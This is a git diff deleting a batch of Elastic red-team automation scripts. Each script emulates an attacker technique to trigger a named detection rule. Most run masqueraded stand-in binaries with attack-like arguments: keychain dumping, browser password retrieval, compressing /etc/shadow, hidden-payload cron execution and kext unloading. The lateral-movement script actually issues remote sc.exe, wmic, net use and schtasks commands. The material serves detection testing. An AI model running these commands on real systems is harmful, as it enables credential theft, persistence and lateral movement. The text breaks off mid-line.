a/rta/kernelext_agent_unload.py b/rta/kernelext_agent_unload.py deleted file mode 100644 index 519096b26..000000000 --- a/rta/kernelext_agent_unload.py +++ /dev/null @@ -1,44 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="61f308d8-40c5-4c46-9181-e993cf07e92b", - platforms=["macos"], - endpoint=[ - { - "rule_name": "Attempt to Unload Elastic Endpoint Security Kernel Extension", - "rule_id": "a412fd9b-2a06-49ff-a073-8eb313c2d930", - } - ], - siem=[ - { - "rule_name": "Attempt to Unload Elastic Endpoint Security Kernel Extension", - "rule_id": "70fa1af4-27fd-4f26-bd03-50b6af6b9e24", - } - ], - techniques=["T1547", "T1562"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - masquerade = "/tmp/kextunload" - common.create_macos_masquerade(masquerade) - - # Execute command - common.log("Launching fake kernel ext commands to unload elastic agent") - common.execute([masquerade, "EndpointSecurity.kext"], timeout=10, kill=True) - - # cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/kext_load.py b/rta/kext_load.py deleted file mode 100644 index d49ca9c05..000000000 --- a/rta/kext_load.py +++ /dev/null @@ -1,41 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="c4ac8740-3dca-4550-831b-e03d21de581d", - platforms=["macos"], - endpoint=[ - { - "rule_name": "New System Kext File and Immediate Load via KextLoad", - "rule_id": "de869aa1-c63a-451e-a953-7069ec39ba60", - } - ], - siem=[], - techniques=["T1547", "T1547.006", "T1059", "T1059.004"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - # create masquerades - masquerade = "/tmp/mv" - common.create_macos_masquerade(masquerade) - - # Execute command" - common.log("Launching fake commands load Kext file.") - common.execute([masquerade, "/System/Library/Extensions/*.kext"], timeout=10, kill=True) - common.execute(["kextload", "test.kext"], timeout=10, kill=True) - - # cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/keychain_cred_access.py b/rta/keychain_cred_access.py deleted file mode 100644 index 978be6c46..000000000 --- a/rta/keychain_cred_access.py +++ /dev/null @@ -1,42 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from pathlib import Path -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="603d77bf-cdfc-44dd-94d3-5b4016caef94", - platforms=["macos"], - endpoint=[ - { - "rule_name": "Suspicious Access to Keychain Credentials Files", - "rule_id": "150f20b4-6b21-460b-8ae4-339695c1c86c", - } - ], - siem=[ - {"rule_name": "Access to Keychain Credentials Directories", "rule_id": "96e90768-c3b7-4df6-b5d9-6237f8bc36a8"} - ], - techniques=["T1555"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - masquerade = "/tmp/bash" - common.create_macos_masquerade(masquerade) - - # Execute command - common.log("Launching fake commands to access keychain creds") - common.execute([masquerade, f"{Path.home()}/Library/Keychains/test"], timeout=10, kill=True) - - # cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/keychain_dump.py b/rta/keychain_dump.py deleted file mode 100644 index 922f59fc3..000000000 --- a/rta/keychain_dump.py +++ /dev/null @@ -1,44 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="f158a6dc-1974-4b98-a3e7-466f6f1afe01", - platforms=["macos"], - endpoint=[ - { - "rule_name": "Keychain Dump via native Security tool", - "rule_id": "549344d6-aaef-4495-9ca2-7a0b849bf571", - } - ], - siem=[ - { - "rule_name": "Dumping of Keychain Content via Security Command", - "rule_id": "565d6ca5-75ba-4c82-9b13-add25353471c", - } - ], - techniques=["T1555", "T1555.001"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - masquerade = "/tmp/bash" - common.create_macos_masquerade(masquerade) - - # Execute command - common.log("Launching fake commands to dump keychain credentials") - common.execute([masquerade, "dump-keychain", "-d"], timeout=10, kill=True) - - # cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/keychain_pwd_cmdline.py b/rta/keychain_pwd_cmdline.py deleted file mode 100644 index 59e33dbc2..000000000 --- a/rta/keychain_pwd_cmdline.py +++ /dev/null @@ -1,41 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="f964558b-0674-4c97-afcc-42d4b6a813c6", - platforms=["macos"], - endpoint=[ - { - "rule_name": "Web Browsers Password Access via Command Line", - "rule_id": "77d71ede-3025-4c71-bb99-ada7c344bf89", - } - ], - siem=[ - {"rule_name": "Keychain Password Retrieval via Command Line", "rule_id": "9092cd6c-650f-4fa3-8a8a-28256c7489c9"} - ], - techniques=["T1555"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - masquerade = "/tmp/security" - common.create_macos_masquerade(masquerade) - - # Execute command - common.log("Launching fake commands to collect credentials") - common.execute([masquerade, "-wa", "find-generic-password", "Chrome"], timeout=10, kill=True) - - # cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/lateral_command_psexec.py b/rta/lateral_command_psexec.py deleted file mode 100755 index 4c95fccb4..000000000 --- a/rta/lateral_command_psexec.py +++ /dev/null @@ -1,35 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -# Name: PsExec Lateral Movement -# RTA: lateral_command_psexec.py -# ATT&CK: T1035, T1077 -# Description: Runs PSExec to move laterally - -import sys - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="90cf6001-11a7-410b-b259-cf20a029b929", - platforms=["windows"], - endpoint=[], - siem=[{"rule_id": "55d551c6-333b-4665-ab7e-5d14a59715ce", "rule_name": "PsExec Network Connection"}], - techniques=["T1569"], -) - - -@common.requires_os(*metadata.platforms) -@common.dependencies(common.PS_EXEC) -def main(remote_host=None): - remote_host = remote_host or common.get_ip() - common.log("Performing PsExec to %s" % remote_host) - common.execute([common.PS_EXEC, "\\\\%s" % remote_host, "-accepteula", "ipconfig"]) - - -if __name__ == "__main__": - exit(main(*sys.argv[1:])) diff --git a/rta/lateral_commands.py b/rta/lateral_commands.py deleted file mode 100644 index 649d4658c..000000000 --- a/rta/lateral_commands.py +++ /dev/null @@ -1,96 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -# Name: Lateral Movement Commands -# RTA: lateral_commands.py -# Elatic Detection: Local Service Commands -# signal.rule.name: Local Scheduled Task Commands -# signal.rule.name: Whoami Process Activity -# ATT&CK: T1021, T1047, T1077, T1124, T1126 -# Description: Runs various Windows commands typically used by attackers to move laterally from the local machine. - -import os -import re -import sys - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="389392dc-61db-4e45-846f-099f7d289c1b", - platforms=["windows"], - endpoint=[], - siem=[{"rule_id": "d61cbcf8-1bc1-4cff-85ba-e7b21c5beedc", "rule_name": "Service Command Lateral Movement"}], - techniques=["T1569", "T1021", "T1543"], -) - - -MY_APP = common.get_path("bin", "myapp.exe") - - -@common.requires_os(*metadata.platforms) -@common.dependencies(MY_APP) -def main(remote_host=None): - remote_host = remote_host or common.get_ip() - common.log("Attempting to laterally move to %s" % remote_host) - - remote_host = common.get_ipv4_address(remote_host) - common.log("Using ip address %s" % remote_host) - - # Put the hostname in quotes for WMIC, but leave it as is - if not re.match(common.IP_REGEX, remote_host): - wmi_node = '"{}"'.format(remote_host) - else: - wmi_node = remote_host - - commands = [ - "sc.exe \\\\{host} create test_service binPath= %s" % MY_APP, - "sc.exe \\\\{host} config test_service binPath= c:\\windows\\system32\\ipconfig.exe", - "sc.exe \\\\{host} failure test_service command= c:\\windows\\system32\\net.exe", - "sc.exe \\\\{host} start test_service", - "sc.exe \\\\{host} delete test_service", - "wmic.exe /node:{wmi_node} process call create ipconfig.exe", - "wmic.exe /node:{wmi_node} path WIN32_USERACCOUNT where(name='vagrant') set passwordexpires='false'", - "net.exe time \\\\{host}", - "net.exe use \\\\{host}\\admin$", - "net.exe use \\\\{host}\\admin$ /delete", - "net.exe use \\\\{host}\\c$", - "net.exe use \\\\{host}\\c$ /delete", - ] - - for command in commands: - common.execute(command.format(host=remote_host, wmi_node=wmi_node)) - - _, whoami = common.execute(["whoami"]) - _, hostname = common.execute(["hostname"]) - - domain, user = whoami.lower().split("\\") - hostname = hostname.lower() - schtasks_host = remote_host - - # Check if the account is local or a domain - if domain in (hostname, "NT AUTHORITY"): - common.log("Need password for remote scheduled task in workgroup. Performing instead on %s." % common.get_ip()) - schtasks_host = common.get_ip() - - task_name = "test_task-%d" % os.getpid() - schtask_commands = [ - r"schtasks /s {host} /delete /tn {name} /f", - r"schtasks /s {host} /create /SC MONTHLY /MO first /D SUN /tn {name} /tr c:\windows\system32\ipconfig.exe /f", - r"schtasks /s {host} /run /tn {name}", - r"schtasks /s {host} /delete /tn {name} /f", - ] - - for command in schtask_commands: - command = command.format(host=schtasks_host, name=task_name) - common.execute(command) - - # Remote powershell - common.execute(["C:\\Windows\\system32\\wsmprovhost.exe", "-Embedding"], timeout=5, kill=True) - - -if __name__ == "__main__": - exit(main(*sys.argv[1:])) diff --git a/rta/launchagent_plist.py b/rta/launchagent_plist.py deleted file mode 100644 index 8483efb79..000000000 --- a/rta/launchagent_plist.py +++ /dev/null @@ -1,43 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from pathlib import Path -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="7548a786-50f7-40e5-8f8a-b005e9e8d864", - platforms=["macos"], - endpoint=[], - siem=[ - { - "rule_name": "Launch Agent Creation or Modification and Immediate Loading", - "rule_id": "082e3f8c-6f80-485c-91eb-5b112cb79b28", - } - ], - techniques=["T1543"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - masquerade = "/tmp/launchctl" - common.create_macos_masquerade(masquerade) - - plist = f"{Path.home()}/Library/LaunchAgents/test.plist" - common.temporary_file_helper("testing", file_name=plist) - - # Execute command - common.log("Launching fake launchctl command to mimic plist loading") - common.execute([masquerade, "load"], timeout=10, kill=True) - - # cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/launchd_load_plist.py b/rta/launchd_load_plist.py deleted file mode 100644 index 294cb195b..000000000 --- a/rta/launchd_load_plist.py +++ /dev/null @@ -1,57 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from pathlib import Path -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="17c710a6-9070-4448-b68c-a3694657552e", - platforms=["macos"], - endpoint=[ - { - "rule_name": "Persistence via Suspicious Launch Agent or Launch Daemon", - "rule_id": "c6037fad-ad13-46a6-9f7f-4deeef5ac69b", - }, - ], - siem=[], - techniques=["T1547", "T1547.011", "T1543", "T1543.001", "T1543.004"], -) - -plist = """ - - - - - Label - com.example.myapp - ProgramArguments - - bash - - RunAtLoad - - - -""" - - -@common.requires_os(*metadata.platforms) -def main(): - plist_name = "com.test.plist" - daemon_dir = Path("/", "Library", "LaunchDaemons").expanduser() - daemon_dir.mkdir(parents=True, exist_ok=True) - plist_path = str(daemon_dir / plist_name) - - # with common.temporary_file(plist, file_name=plist_path): - with open(plist_path, "w") as f: - f.write(plist) - common.execute(["launchctl", "load", plist_path], kill=True) - common.execute(["launchctl", "unload", plist_path], kill=True) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/launchdaemon_persistence.py b/rta/launchdaemon_persistence.py deleted file mode 100644 index 42dca5963..000000000 --- a/rta/launchdaemon_persistence.py +++ /dev/null @@ -1,42 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="762adc57-58c2-413d-a98d-258a223c07da", - platforms=["macos"], - endpoint=[], - siem=[ - { - "rule_name": "LaunchDaemon Creation or Modification and Immediate Loading", - "rule_id": "9d19ece6-c20e-481a-90c5-ccca596537de", - } - ], - techniques=["T1543"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - masquerade = "/tmp/launchctl" - common.create_macos_masquerade(masquerade) - - payload_file = "/Library/LaunchDaemons/test.payload" - common.temporary_file_helper("testing", file_name=payload_file) - - # Execute command - common.log("Launching fake launchctl command to mimic LaunchDaemons payload persistence") - common.execute([masquerade, "load"], timeout=10, kill=True) - - # cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/ldapsearch_group_enumeration.py b/rta/ldapsearch_group_enumeration.py deleted file mode 100644 index 87d09d2d7..000000000 --- a/rta/ldapsearch_group_enumeration.py +++ /dev/null @@ -1,39 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="370c3432-65f5-4068-b879-916bc1297c60", - platforms=["macos"], - endpoint=[], - siem=[ - { - "rule_name": "Enumeration of Users or Groups via Built-in Commands", - "rule_id": "6e9b351e-a531-4bdc-b73e-7034d6eed7ff", - } - ], - techniques=["T1069", "T1087"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - masquerade = "/tmp/ldapsearch" - common.create_macos_masquerade(masquerade) - - # Execute command - common.log("Launching fake ldapsearch commands to mimic user or group enumeration") - common.execute([masquerade, "testing"], timeout=10, kill=True) - - # cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/link_to_tmp.py b/rta/link_to_tmp.py deleted file mode 100644 index c6a3c208f..000000000 --- a/rta/link_to_tmp.py +++ /dev/null @@ -1,37 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="eb5834cf-fcd8-4318-a656-5315a664e61d", - platforms=["macos"], - endpoint=[ - {"rule_name": "Link Creation to Temp Directory", "rule_id": "ccca5e9f-2625-4b95-9b15-d5d8fc56df2c"}, - ], - siem=[], - techniques=["T1222", "T1222.002"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - - masquerade = "/tmp/ln" - common.create_macos_masquerade(masquerade) - - # Execute command - common.log("Launching fake ln commands to link to temp directory") - with common.temporary_file("testing", "/tmp/test.txt"): - common.execute([masquerade, "-s", "/tmp/test.txt"], timeout=10, kill=True) - - # cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - exit(main()) diff --git a/rta/linux_command_and_control_cupsd_foomatic_rip_netcon.py b/rta/linux_command_and_control_cupsd_foomatic_rip_netcon.py deleted file mode 100644 index 372cb3e03..000000000 --- a/rta/linux_command_and_control_cupsd_foomatic_rip_netcon.py +++ /dev/null @@ -1,44 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import sys - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="8c634401-fd71-475e-b449-41b776b2b8c9", - platforms=["linux"], - endpoint=[ - { - "rule_name": "Network Connection by Foomatic-rip Child", - "rule_id": "93d7b72d-3914-44fb-92bf-63675769ef12", - }, - ], - techniques=["T1203"], -) - - -@common.requires_os(*metadata.platforms) -def main() -> None: - # Path for the fake motd executable - masquerade = "/tmp/foomatic-rip" - source = common.get_path("bin", "netcon_exec_chain.elf") - - common.log("Creating a fake motd executable..") - common.copy_file(source, masquerade) - common.log("Granting execute permissions...") - common.execute(["chmod", "+x", masquerade]) - - # Execute the fake motd executable - common.log("Executing the fake motd executable..") - commands = [masquerade, "chain", "-h", "8.8.8.8", "-p", "53", "-c", "/tmp/foomatic-rip netcon -h 8.8.8.8 -p 53"] - common.execute([*commands], timeout=5, kill=True) - - # Cleanup - common.remove_file(masquerade) - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/linux_command_and_control_curl_wget_hidden_directory_output.py b/rta/linux_command_and_control_curl_wget_hidden_directory_output.py deleted file mode 100644 index 87c48bc3f..000000000 --- a/rta/linux_command_and_control_curl_wget_hidden_directory_output.py +++ /dev/null @@ -1,41 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import sys - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="b3c8c616-15a5-45fd-970a-c44c18e59578", - platforms=["linux"], - endpoint=[ - { - "rule_name": "File Downloaded via Curl or Wget to Hidden Directory", - "rule_id": "dc1cee03-4923-4c6b-b00b-8a5c323bb753", - }, - ], - techniques=["T1564"], -) - - -@common.requires_os(*metadata.platforms) -def main() -> None: - common.log("Creating a fake executable..") - masquerade = "/tmp/curl" - - source = common.get_path("bin", "linux.ditto_and_spawn") - common.copy_file(source, masquerade) - common.log("Granting execute permissions...") - common.execute(["chmod", "+x", masquerade]) - - commands = [masquerade, "--output", "/dev/shm/evil"] - common.execute([*commands], timeout=5, kill=True) - common.log("Cleaning...") - common.remove_file(masquerade) - common.log("Simulation successfull!") - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/linux_command_and_control_ip_address_arg_from_hidden_executable.py b/rta/linux_command_and_control_ip_address_arg_from_hidden_executable.py deleted file mode 100644 index 1c3973f79..000000000 --- a/rta/linux_command_and_control_ip_address_arg_from_hidden_executable.py +++ /dev/null @@ -1,43 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import sys - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="96afe4b1-d8f3-4f95-b92b-645a39508174", - platforms=["linux"], - endpoint=[ - { - "rule_name": "Hidden Executable Initiated Egress Network Connection", - "rule_id": "c14705f7-ebd3-4cf7-88b3-6bff2d832f1b", - }, - ], - techniques=["T1564"], -) - - -@common.requires_os(*metadata.platforms) -def main() -> None: - common.log("Creating a fake hidden executable..") - masquerade = "/tmp/.evil" - source = common.get_path("bin", "netcon_exec_chain.elf") - common.copy_file(source, masquerade) - common.log("Granting execute permissions...") - common.execute(["chmod", "+x", masquerade]) - - commands = [masquerade, "netcon", "-h", "8.8.8.8", "-p", "53"] - common.execute([*commands], timeout=5, kill=True) - - common.log("Cleaning...") - - common.remove_file(masquerade) - - common.log("Simulation successfull!") - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/linux_command_and_control_telegram_api_request.py b/rta/linux_command_and_control_telegram_api_request.py deleted file mode 100644 index 58d10722e..000000000 --- a/rta/linux_command_and_control_telegram_api_request.py +++ /dev/null @@ -1,40 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import sys - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="ceab22a5-35d6-47e0-9658-d0405fea72fa", - platforms=["linux"], - endpoint=[ - { - "rule_name": "Linux Telegram API Request", - "rule_id": "87bee79f-cf0b-43a0-884a-a7a4ddbd4599", - }, - ], - techniques=["T1071"], -) - - -@common.requires_os(*metadata.platforms) -def main() -> None: - common.log("Creating a fake executable..") - masquerade = "/tmp/curl" - source = common.get_path("bin", "netcon_exec_chain.elf") - common.copy_file(source, masquerade) - common.log("Granting execute permissions...") - common.execute(["chmod", "+x", masquerade]) - - commands = [masquerade, "exec", "-c", "api.telegram.org"] - common.execute([*commands], timeout=5, kill=True) - common.log("Cleaning...") - common.remove_file(masquerade) - common.log("Simulation successfull!") - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/linux_compress_sensitive_files.py b/rta/linux_compress_sensitive_files.py deleted file mode 100644 index f37c81a7f..000000000 --- a/rta/linux_compress_sensitive_files.py +++ /dev/null @@ -1,54 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -# Name: Compression of sensitive files -# RTA: linux_compress_sensitive_files.py -# Description: Uses built-in commands for *nix operating systems to compress known sensitive -# files, such as etc/shadow and etc/passwd -from . import common -from . import RtaMetadata - - -metadata = RtaMetadata( - uuid="f3ffa89b-de47-4e17-ac8e-385e0e7f8253", - platforms=["linux"], - endpoint=[], - siem=[{"rule_id": "6b84d470-9036-4cc0-a27c-6d90bbfe81ab", "rule_name": "Sensitive Files Compression"}], - techniques=["T1560", "T1552"], -) - - -@common.requires_os(*metadata.platforms) -def main(): - common.log("Compressing sensitive files") - files = ["totally-legit.tar", "official-business.zip", "expense-reports.gz"] - - # we don't want/need these to actually work, since the rule is only looking for command line, so no need for sudo - commands = [ - ["tar", "-cvf", files[0], "/etc/shadow"], - ["zip", files[1], "/etc/passwd"], - ["gzip", "/etc/group", files[2]], - ] - - for command in commands: - masquerade = f"/tmp/{command[0]}" - source = common.get_path("bin", "linux.ditto_and_spawn") - common.copy_file(source, masquerade) - - masquerade_command = command - masquerade_command[0] = masquerade - - try: - common.execute(masquerade_command, timeout=2, kill=True) - except OSError as exc: - # command doesn't exist on distro - the rule only needs one to trigger - # also means we will eventually need to explore per distro ground truth when we expand as counts will vary - common.log(str(exc)) - - common.remove_file(masquerade) - - -if __name__ == "__main__": - main() diff --git a/rta/linux_cron_hidden_execution.py b/rta/linux_cron_hidden_execution.py deleted file mode 100644 index b1291a606..000000000 --- a/rta/linux_cron_hidden_execution.py +++ /dev/null @@ -1,51 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import sys -from pathlib import Path - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="c2b89791-5c51-4965-a440-cd9905bfbe55", - platforms=["linux"], - endpoint=[ - { - "rule_name": "Hidden Payload Executed via Cron", - "rule_id": "e8b2afe5-37a9-468c-a6fb-f178d46cb698", - }, - ], - techniques=["T1053"], -) - - -@common.requires_os(*metadata.platforms) -def main() -> None: - # Path for the fake cron script - fake_cron = "/tmp/cron" - - # Create fake sh executable - masquerade = "/tmp/sh" - source = common.get_path("bin", "linux.ditto_and_spawn") - common.copy_file(source, masquerade) - - # Create a fake cron script that launches sh - with Path(fake_cron).open("w", encoding="utf-8") as script: - script.write("#!/bin/bash\n") - script.write("/tmp/sh -c '/dev/shm/.foo'\n") - - # Make the script executable - common.execute(["chmod", "+x", fake_cron]) - - # Execute the fake cron script - common.log("Launching a shell that executes a hidden payload as a child of fake cron") - common.execute([fake_cron], timeout=5, kill=True, shell=True) # noqa: S604 - - # Cleanup - common.remove_file(fake_cron) - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/linux_defense_evasion_base64_xxd_decode_arg_evasion.py b/rta/linux_defense_evasion_base64_xxd_decode_arg_evasion.py deleted file mode 100644 index e7f047dfa..000000000 --- a/rta/linux_defense_evasion_base64_xxd_decode_arg_evasion.py +++ /dev/null @@ -1,40 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import sys - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="20b06a60-46da-4a27-8e72-df8bf0de37ad", - platforms=["linux"], - endpoint=[ - { - "rule_name": "Base64 or Xxd Decode Argument Evasion", - "rule_id": "789f8a41-00cb-40cb-b41f-c2e1611b1245", - }, - ], - techniques=["T1027", "T1140", "T1059", "T1204"], -) - - -@common.requires_os(*metadata.platforms) -def main() -> None: - common.log("Creating a fake executable..") - masquerade = "/tmp/xxd" - source = common.get_path("bin", "linux.ditto_and_spawn") - common.copy_file(source, masquerade) - common.log("Granting execute permissions...") - common.execute(["chmod", "+x", masquerade]) - - commands = [masquerade, "-pevil ", "-revil "] - common.execute([*commands], timeout=5, kill=True) - common.log("Cleaning...") - common.remove_file(masquerade) - common.log("Simulation successfull!") - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/linux_defense_evasion_hex_payload_execution.py b/rta/linux_defense_evasion_hex_payload_execution.py deleted file mode 100644 index 03162623c..000000000 --- a/rta/linux_defense_evasion_hex_payload_execution.py +++ /dev/null @@ -1,40 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import sys - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="88b8c5e8-43d4-4063-9d0f-e1fc3063447b", - platforms=["linux"], - endpoint=[ - { - "rule_name": "Hexadecimal Payload Execution", - "rule_id": "f2d206e0-97c9-484b-8b6a-5eecd82fbfdc", - }, - ], - techniques=["T1027", "T1140", "T1059", "T1204"], -) - - -@common.requires_os(*metadata.platforms) -def main() -> None: - common.log("Creating a fake executable..") - masquerade = "/tmp/evil" - source = common.get_path("bin", "netcon_exec_chain.elf") - common.copy_file(source, masquerade) - common.log("Granting execute permissions...") - common.execute(["chmod", "+x", masquerade]) - - commands = [masquerade, "exec", "-c", "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00"] - common.execute([*commands], timeout=5, kill=True) - common.log("Cleaning...") - common.remove_file(masquerade) - common.log("Simulation successfull!") - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/linux_defense_evasion_lolbin_so_load.py b/rta/linux_defense_evasion_lolbin_so_load.py deleted file mode 100644 index bacfd9929..000000000 --- a/rta/linux_defense_evasion_lolbin_so_load.py +++ /dev/null @@ -1,41 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import sys - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="1843a19e-1016-4784-a175-e9fdf26f4b8f", - platforms=["linux"], - endpoint=[ - { - "rule_name": "Shared Object Load via LoLBin", - "rule_id": "42c2e98b-b757-423f-ac25-8183d8c76b97", - }, - ], - techniques=["T1218", "T1574", "T1059"], -) - - -@common.requires_os(*metadata.platforms) -def main() -> None: - common.log("Creating a fake executable..") - masquerade = "/tmp/gdb" - - source = common.get_path("bin", "linux.ditto_and_spawn") - common.copy_file(source, masquerade) - common.log("Granting execute permissions...") - common.execute(["chmod", "+x", masquerade]) - - commands = [masquerade, "cdll.LoadLibrary.so"] - common.execute([*commands], timeout=5, kill=True) - common.log("Cleaning...") - common.remove_file(masquerade) - common.log("Simulation successfull!") - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/rta/linux_defense_evasion_process_injection_via_dd.py b/rta/linux_defense_evasion_process_injection_via_dd.py deleted file mode 100644 index 927440792..000000000 --- a/rta/linux_defense_evasion_process_injection_via_dd.py +++ /dev/null @@ -1,40 +0,0 @@ -# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one -# or more contributor license agreements. Licensed under the Elastic License -# 2.0; you may not use this file except in compliance with the Elastic License -# 2.0. - -import sys - -from . import RtaMetadata, common - -metadata = RtaMetadata( - uuid="05170b5b-8030-4acd-b7c1-d6d1fe8bbd2d", - platforms=["linux"], - endpoint=[ - { - "rule_name": "Potential Process Injection via dd", - "rule_id": "38108046-32a6-407f-b5fd-6943ffdcdab0", - }, - ], - techniques=["T1620", "T1574", "T1106"], -) - - -@common.requires_os(*metadata.platforms) -def main() -> None: - common.log("Creating a fake executable..") - masquerade = "/tmp/dd" - source = common.get_path("bin", "linux.ditto_and_spawn") - common.copy_file(source, masquerade) - common.log("Granting execute permissions...") - common.execute(["chmod", "+x", masquerade]) - - commands = [masquerade, "if=foo", "of=/proc/pid/mem"] - common.execute([*commands], timeout=5, kill=True) - common.log("Cleaning...") - common.remove_file(masquerade) - common.log("Simulation successfull!") - - -if __name__ == 